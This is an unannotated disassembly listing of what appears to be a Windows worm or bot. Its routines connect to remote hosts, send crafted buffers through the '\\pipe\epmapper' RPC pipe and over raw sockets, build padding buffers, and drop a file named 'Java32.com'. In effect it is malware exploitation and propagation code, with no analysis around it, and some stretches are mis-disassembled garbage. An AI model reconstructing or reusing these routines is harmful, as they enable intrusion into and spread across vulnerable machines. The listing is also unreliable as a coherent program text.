		lea	eax, [ebp+var_38]
		push	eax
		call	sub_415CD0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_AD]
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_415CD0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_83]
		push	eax
		call	sub_4155B0
		mov	ax, ds:word_424F58
		add	esp, 2Ch
		push	eax
		call	ds:dword_4211DC
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_424868
		call	sub_4155B0
		add	esp, 0Ch
		cmp	[ebp+arg_C0], 0
		jz	loc_402B7F
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC0]
		push	edi
		push	90h
		push	eax
		call	sub_415550
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	ebx, dword_424F98[eax]
		lea	eax, [ebp+var_14DC]
		push	ebx
		push	eax
		call	sub_4155B0
		mov	esi, offset loc_4247B8
		push	esi
		call	sub_415CD0
		push	eax
		lea	eax, [ebp+var_14CC]
		push	esi
		push	eax
		call	sub_4155B0
		push	4
		lea	eax, [ebp+var_11A8]
		push	offset loc_4250BC
		push	eax
		call	sub_4155B0
		push	4
		lea	eax, [ebp+var_11A4]
		push	ebx
		push	eax
		call	sub_4155B0
		add	esp, 40h
		push	esi
		call	sub_415CD0
		push	eax
		lea	eax, [ebp+var_1198]
		push	esi
		push	eax
		call	sub_4155B0
		add	esp, 10h
		xor	ecx, ecx
		lea	eax, [ebp+var_47FF]


loc_402B35:				; CODE XREF: sub_402988+1BFj
		mov	dl, [ebp+ecx+var_1CC0]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, edi
		jl	short loc_402B35
		and	[ebp+var_2CA8],	0
		and	[ebp+var_2CA7],	0
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B0]
		push	esi
		push	31h
		push	eax
		call	sub_415550
		push	esi
		lea	eax, [ebp+var_68D8]
		push	31h
		push	eax
		call	sub_415550
		add	esp, 18h
		jmp	short loc_402BD6
; ---------------------------------------------------------------------------


loc_402B7F:				; CODE XREF: sub_402988+115j
		push	7D0h
		lea	eax, [ebp+var_F10]
		push	90h
		push	eax
		call	sub_415550
		mov	esi, offset loc_4247B8
		push	esi
		call	sub_415CD0
		push	eax
		lea	eax, [ebp+var_E70]
		push	esi
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_415CD0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_754]
		push	eax
		call	sub_4155B0
		mov	eax, ds:dword_424F98
		add	esp, 2Ch
		mov	[ebp+var_764], eax


loc_402BD6:				; CODE XREF: sub_402988+1F5j
		push	0E29h
		lea	eax, [ebp+var_2CA4]
		push	31h
		push	eax
		call	sub_415550
		movsx	eax, [ebp+var_1]
		add	esp, 0Ch
		add	eax, 4
		mov	esi, ds:dword_4211EC
		push	0
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+arg_BC]
		call	esi
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402C17


loc_402C10:				; CODE XREF: sub_402988+2C0j
					; sub_402988+2EBj ...
		xor	al, al
		jmp	loc_402DD8
; ---------------------------------------------------------------------------


loc_402C17:				; CODE XREF: sub_402988+286j
		mov	edi, ds:dword_4211E8
		mov	ebx, 640h
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi
		push	0
		push	68h
		push	offset dword_424BCC
		push	[ebp+arg_BC]
		call	esi
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402C10
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi
		push	0
		push	0A0h
		push	offset dword_424C38
		push	[ebp+arg_BC]
		call	esi
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402C10
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi
		cmp	[ebp+arg_C0], 0
		jz	loc_402D43
		push	68h
		lea	eax, [ebp+var_89B0]
		push	offset dword_424DF0
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_4800]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_8948]
		push	eax
		call	sub_4155B0
		push	70h
		lea	eax, [ebp+var_68D8]
		push	offset dword_424E5C
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_376C]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_6868]
		push	eax
		call	sub_4155B0
		push	84h
		lea	eax, [ebp+var_5DA4]
		push	offset dword_424ED0
		push	eax
		call	sub_4155B0
		add	esp, 3Ch
		lea	eax, [ebp+var_89B0]
		push	0
		push	10FCh
		push	eax
		push	[ebp+arg_BC]
		call	esi
		cmp	eax, 0FFFFFFFFh
		jz	loc_402C10
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi
		push	0
		push	0FDCh
		lea	eax, [ebp+var_68D8]
		jmp	short loc_402D9B
; ---------------------------------------------------------------------------


loc_402D43:				; CODE XREF: sub_402988+306j
		push	7Ch
		lea	eax, [ebp+var_2CA4]
		push	offset dword_424CDC
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_F10]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C28]
		push	eax
		call	sub_4155B0
		push	90h
		lea	eax, [ebp+var_2458]
		push	offset off_424D5C
		push	eax
		call	sub_4155B0
		add	esp, 24h
		and	[ebp+var_1FAD],	0
		lea	eax, [ebp+var_2CA4]
		push	0
		push	0CF8h


loc_402D9B:				; CODE XREF: sub_402988+3B9j
		push	eax
		push	[ebp+arg_BC]
		call	esi
		cmp	eax, 0FFFFFFFFh
		jz	loc_402C10
		push	12Ch
		call	ds:dword_421060
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	near ptr loc_40283C+1
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_402DD8:				; CODE XREF: sub_402988+28Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402988	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402DDD	proc near		; CODE XREF: seg000:00403E5Cp

var_858		= byte ptr -858h
var_814		= byte ptr -814h
var_218		= byte ptr -218h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		mov	[ebp+var_8], edi
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_18], 2
		push	eax
		call	ds:dword_4211D8
		push	[ebp+arg_A0]
		mov	[ebp+var_14], eax
		call	ds:dword_4211DC
		push	6
		push	1
		push	2
		mov	[ebp+var_16], ax
		call	ds:dword_4211E0
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+var_4], esi
		jz	loc_402EDA
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	esi
		call	ds:dword_4211E4
		cmp	eax, 0FFFFFFFFh
		jz	loc_402EDA
		mov	ebx, ds:dword_4211EC
		push	edi
		push	89h
		push	offset dword_424950
		push	esi
		call	ebx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402EDA
		push	edi
		mov	edi, 640h
		lea	eax, [ebp+var_858]
		push	edi
		push	eax
		push	esi
		mov	esi, ds:dword_4211E8
		call	esi
		push	0
		push	0A8h
		push	offset dword_4249DC
		push	[ebp+var_4]
		call	ebx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402EDA
		push	0
		lea	eax, [ebp+var_858]
		push	edi
		push	eax
		push	[ebp+var_4]
		call	esi
		push	0
		push	0DEh
		push	offset dword_424A88
		push	[ebp+var_4]
		call	ebx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402EDA
		mov	ebx, [ebp+var_4]
		push	0
		lea	eax, [ebp+var_858]
		push	edi
		push	eax
		push	ebx
		call	esi
		movsx	eax, [ebp+var_814]
		sub	eax, 30h
		jz	short loc_402EE5
		dec	eax
		jz	short loc_402EE1


loc_402EDA:				; CODE XREF: sub_402DDD+57j
					; sub_402DDD+6Dj ...
		xor	eax, eax
		jmp	loc_402F7F
; ---------------------------------------------------------------------------


loc_402EE1:				; CODE XREF: sub_402DDD+FBj
		push	0
		jmp	short loc_402F09
; ---------------------------------------------------------------------------


loc_402EE5:				; CODE XREF: sub_402DDD+F8j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402988
		add	esp, 0C4h
		test	al, al
		jnz	short loc_402F29
		push	1


loc_402F09:				; CODE XREF: sub_402DDD+106j
		push	ebx
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402988
		add	esp, 0C4h
		test	al, al
		jz	short loc_402F30


loc_402F29:				; CODE XREF: sub_402DDD+128j
		mov	[ebp+var_8], 1


loc_402F30:				; CODE XREF: sub_402DDD+14Aj
		push	ebx
		call	ds:dword_4211F0
		cmp	[ebp+var_8], 0
		jz	short loc_402F7C
		push	0
		lea	eax, [ebp+var_218]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_412D32
		lea	eax, [ebp+var_218]
		push	eax
		call	sub_40B151
		mov	eax, [ebp+arg_A8]
		add	esp, 18h
		imul	eax, 3Ch
		inc	ds:dword_427308[eax]
		lea	eax, dword_427308[eax]


loc_402F7C:				; CODE XREF: sub_402DDD+15Ej
		push	1
		pop	eax


loc_402F7F:				; CODE XREF: sub_402DDD+FFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402DDD	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		lea	esi, [esp+10h]
		sub	esp, 0BCh
		mov	dword ptr [esp+16Ch], 87h
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	loc_4033CB
		push	2Fh
		lea	esi, [esp+0D0h]
		pop	ecx
		mov	dword ptr [esp+16Ch], 1BDh
		mov	edi, esp
		mov	ebx, eax
		rep movsd
		call	sub_403C8B
		add	esp, 0BCh
		test	ebx, ebx
		jnz	short loc_402FD6
		test	eax, eax
		jz	short loc_402FD9


loc_402FD6:				; CODE XREF: seg000:00402FD0j
		push	1
		pop	eax


loc_402FD9:				; CODE XREF: seg000:00402FD4j
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402FDD	proc near		; CODE XREF: seg000:004033F3p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_4255FC
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset asc_4255F4 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, ds:byte_438F8C
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		call	ds:dword_421064
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_415D7F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_415D7F
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_438F88
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	ds:dword_43A408
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_4030A1
		cmp	eax, ebx
		jnz	short loc_4030AB


loc_4030A1:				; CODE XREF: sub_402FDD+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	ds:dword_43A408


loc_4030AB:				; CODE XREF: sub_402FDD+C2j
		cmp	eax, 5
		jz	short loc_4030B9
		cmp	eax, ebx
		jz	short loc_4030B9
		push	1
		pop	eax
		jmp	short loc_4030BB
; ---------------------------------------------------------------------------


loc_4030B9:				; CODE XREF: sub_402FDD+D1j
					; sub_402FDD+D5j
		xor	eax, eax


loc_4030BB:				; CODE XREF: sub_402FDD+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402FDD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030C0	proc near		; CODE XREF: seg000:00403445p
					; seg000:00403525p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_4255FC
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset asc_4255F4 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, ds:byte_438F8C
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		call	ds:dword_421064
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_415D7F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_415D7F
		add	esp, 10h


loc_403151:				; CODE XREF: sub_4030C0+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	ds:dword_43A2A8
		test	eax, eax
		jz	short loc_403171
		push	7D0h
		call	ds:dword_421060
		jmp	short loc_403151
; ---------------------------------------------------------------------------


loc_403171:				; CODE XREF: sub_4030C0+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_4030C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403178	proc near		; CODE XREF: seg000:00403474p
					; seg000:004035B2p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_415D50
		push	esi
		push	edi
		push	offset aJava32_com ; "Java32.com"
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40A155
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_414DEA
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_4033C7
		push	ebx
		mov	ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_4155B0
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_415550
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_4155B0
		add	esp, 24h
		lea	esi, [edi+0D7h]


loc_4031FD:				; CODE XREF: sub_403178+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_40324D
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_4155B0
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_415550
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_4155B0
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_4031FD
; ---------------------------------------------------------------------------


loc_40324D:				; CODE XREF: sub_403178+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_403268
		cmp	[ebp+arg_C0], 3
		jz	short loc_403271
		cmp	[ebp+arg_C0], 0
		jmp	short loc_40326F
; ---------------------------------------------------------------------------


loc_403268:				; CODE XREF: sub_403178+DCj
		cmp	[ebp+arg_C0], 3


loc_40326F:				; CODE XREF: sub_403178+EEj
		jnz	short loc_40327A


loc_403271:				; CODE XREF: sub_403178+E5j
		push	4
		push	offset dword_4255F0
		jmp	short loc_403281
; ---------------------------------------------------------------------------


loc_40327A:				; CODE XREF: sub_403178:loc_40326Fj
		push	4
		push	offset dword_4255EC


loc_403281:				; CODE XREF: sub_403178+100j
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_4155B0
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_425124
		push	eax
		call	sub_4155B0
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_425488
		push	eax
		call	sub_4155B0
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_4155B0
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_42549C
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_4155B0
		add	edi, 3Ch
		push	30h
		push	offset dword_4254DC
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_4155B0
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_415DA9
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_415550
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_4155B0
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx


loc_4033C7:				; CODE XREF: sub_403178+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_403178	endp

; ---------------------------------------------------------------------------


loc_4033CB:				; CODE XREF: seg000:00402FA3p
					; sub_40776F+1E6p
					; DATA XREF: ...
		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_415D50
		cmp	dword ptr [ebp+0A8h], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_403539
		lea	eax, [ebp-34h]
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_402FDD
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403649
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-138h]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp-138h]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		call	ds:dword_421078
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_403450


loc_403441:				; CODE XREF: seg000:004034F1j
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_4030C0
		pop	ecx
		jmp	loc_403649
; ---------------------------------------------------------------------------


loc_403450:				; CODE XREF: seg000:0040343Fj
		lea	eax, [ebp+0Ch]
		push	2
		push	eax
		call	sub_412B7E
		pop	ecx
		lea	esi, [ebp+8]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403178
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp-8], eax
		jz	short loc_4034E8
		mov	edi, 186A0h
		push	edi
		call	sub_415DA9
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_415550
		add	esp, 10h
		lea	eax, [ebp-0Ch]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_4250D8
		push	dword ptr [ebp-4]
		call	near ptr 84C4B2A5h
		mov	ebp, 0C027E80h
		jnz	short near ptr loc_4034D3+5
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		push	dword ptr [ebp-10h]
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		call	near ptr 50D00C36h


loc_4034D3:				; CODE XREF: seg000:004034BEj
					; seg000:004034DFj
		mov	byte ptr [ebp+561E75C0h], 0E8h
		aas
		sub	[ecx], eax
		add	bh, bh
		jnz	short near ptr loc_4034D3+6
		call	sub_415E1D
		pop	ecx
		pop	ecx


loc_4034E8:				; CODE XREF: seg000:00403484j
		push	dword ptr [ebp-4]
		call	ds:dword_42106C
		jmp	loc_403441
; ---------------------------------------------------------------------------
		lea	eax, [ebp-0Ch]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	dword ptr [ebp-4]
		call	ds:dword_421068
		push	dword ptr [ebp-8]
		mov	edi, eax
		call	sub_415E1D
		push	esi
		call	sub_415E1D
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-4]
		call	ds:dword_42106C
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_4030C0
		cmp	edi, 1
		pop	ecx
		jnz	loc_40365A
		jmp	loc_403649
; ---------------------------------------------------------------------------


loc_403539:				; CODE XREF: seg000:004033E5j
		lea	eax, [ebp+0Ch]
		push	1
		push	eax
		call	sub_412B7E
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_403649
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	ds:dword_43A3E8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_403649
		push	10h
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		call	sub_415550
		add	esp, 0Ch
		mov	word ptr [ebp-24h], 2
		push	dword ptr [ebp+0A8h]
		call	ds:dword_43A368
		mov	[ebp-22h], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	ds:dword_43A3A8
		mov	[ebp-20h], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	esi
		push	eax
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403178
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_4035CB
		push	dword ptr [ebp-4]
		jmp	short loc_403643
; ---------------------------------------------------------------------------


loc_4035CB:				; CODE XREF: seg000:004035C4j
		mov	edi, [ebp-4]
		lea	eax, [ebp-24h]
		push	10h
		push	eax
		push	edi
		call	ds:dword_43A310
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4035E3


loc_4035E0:				; CODE XREF: seg000:004035F5j
		push	esi
		jmp	short loc_40363C
; ---------------------------------------------------------------------------


loc_4035E3:				; CODE XREF: seg000:004035DEj
		push	ebx
		push	48h
		push	offset dword_4250D8
		push	edi
		call	ds:dword_43A3B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4035E0
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	ds:dword_43A380
		push	ebx
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-8]
		push	edi
		call	ds:dword_43A3B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403624
		push	dword ptr [ebp-8]
		jmp	short loc_40363C
; ---------------------------------------------------------------------------


loc_403624:				; CODE XREF: seg000:0040361Dj
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	ds:dword_43A380
		push	dword ptr [ebp-8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40364D


loc_40363C:				; CODE XREF: seg000:004035E1j
					; seg000:00403622j
		call	sub_415E1D
		pop	ecx
		push	edi


loc_403643:				; CODE XREF: seg000:004035C9j
		call	ds:dword_43A400


loc_403649:				; CODE XREF: seg000:004033FCj
					; seg000:0040344Bj ...
		xor	eax, eax
		jmp	short loc_4036CA
; ---------------------------------------------------------------------------


loc_40364D:				; CODE XREF: seg000:0040363Aj
		call	sub_415E1D
		pop	ecx
		push	edi
		call	ds:dword_43A400


loc_40365A:				; CODE XREF: seg000:0040352Ej
		xor	esi, esi


loc_40365C:				; CODE XREF: seg000:0040367Cj
		lea	eax, [ebp-338h]
		push	eax
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jnz	short loc_403680
		push	1388h
		call	ds:dword_421060
		inc	esi
		cmp	esi, 6
		jl	short loc_40365C
		jmp	short loc_4036C7
; ---------------------------------------------------------------------------


loc_403680:				; CODE XREF: seg000:0040366Bj
		cmp	[ebp+0BCh], ebx
		jnz	short loc_4036A5
		push	ebx
		lea	eax, [ebp-338h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_412D32
		add	esp, 14h


loc_4036A5:				; CODE XREF: seg000:00403686j
		lea	eax, [ebp-338h]
		push	eax
		call	sub_40B151
		mov	eax, [ebp+0B0h]
		pop	ecx
		imul	eax, 3Ch
		inc	ds:dword_427308[eax]
		lea	eax, dword_427308[eax]


loc_4036C7:				; CODE XREF: seg000:0040367Ej
		push	1
		pop	eax


loc_4036CA:				; CODE XREF: seg000:0040364Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4036CF:				; DATA XREF: seg002:00423004o
		jmp	$+5
		push	0BB80h
		push	76Ch
		call	sub_41407E
		pop	ecx
		mov	ds:dword_438F90, eax
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4036EB	proc near		; CODE XREF: sub_40384C+42Ap

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	ds:dword_43A3A8
		mov	[ebp+var_C], eax
		mov	ax, word ptr ds:dword_438F90
		push	eax
		call	ds:dword_43A368
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	ds:dword_43A3E8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403825
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_43A310
		cmp	eax, 0FFFFFFFFh
		jz	loc_403825
		push	esi
